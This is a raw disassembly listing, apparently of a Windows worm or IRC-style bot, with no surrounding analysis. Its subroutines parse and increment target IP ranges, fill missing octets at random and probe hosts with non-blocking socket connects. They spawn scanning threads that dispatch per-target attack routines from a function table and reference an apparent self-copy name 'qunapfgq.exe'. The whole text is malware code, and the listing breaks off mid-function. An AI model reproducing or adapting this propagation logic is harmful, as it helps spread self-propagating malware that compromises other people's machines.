push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4CBA14 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_4317F8, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+var_134]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431C98
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi
push eax
call sub_41C266
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40BC52
lea eax, [ebp+var_124]
loc_40BC52: ; CODE XREF: sub_40BB65+E5j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41C266
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BCB7: ; CODE XREF: sub_40BB65+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: sub_40BB65+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431C64
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
add esp, 2Ch
push edi
call ds:dword_4270D4 ; ExitThread
sub_40BB65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_431CE8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CC8
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
call ds:dword_427078 ; GetModuleFileNameA
mov edi, offset aQunapfgq_exe ; "qunapfgq.exe"
push 103h
push edi
push offset dword_4CDCE0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDEC
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset sub_412197
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431E08
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
call ds:dword_427078 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4CDF88
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE094
push offset unk_431DD4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset sub_40F3AA
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431DA0
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+var_204]
push offset unk_431D70
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset sub_40F108
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CDB3C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D38
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3B4
push 104h
push esi
push ebx
call ds:dword_427078 ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE12C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D04
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: sub_40BB65+59p
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC ; select
push esi
mov edi, eax
call dword_4CBA6C ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E64
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E710[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
call ds:dword_4270DC ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E3C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+2A8h+var_2A8], offset dword_4CDB20
call ds:dword_4270D8 ; RtlLeaveCriticalSection
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
call ds:dword_427080 ; Sleep
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_40C3E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
call ds:dword_4270E4 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4270E0 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F48
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C600+99j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C600+63j
; sub_40C600+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C600+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F14
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C600+164j
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi ; Sleep
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C600+159j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EDC
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C600+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C600+E6j
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40C7B0: ; CODE XREF: sub_40C600+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_431E9C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C600+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
call ds:dword_4270E4 ; RtlDeleteCriticalSection
loc_40C835: ; CODE XREF: sub_40C600+228j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_40C845: ; CODE XREF: sub_40C600+19Ej
; sub_40C600+25Dj
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi ; Sleep
jmp short loc_40C845
sub_40C600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near ; DATA XREF: sub_40C92C+7Bo
; sub_40CA1D+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
mov edi, offset dword_4CE4E4
push offset unk_431F7C
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
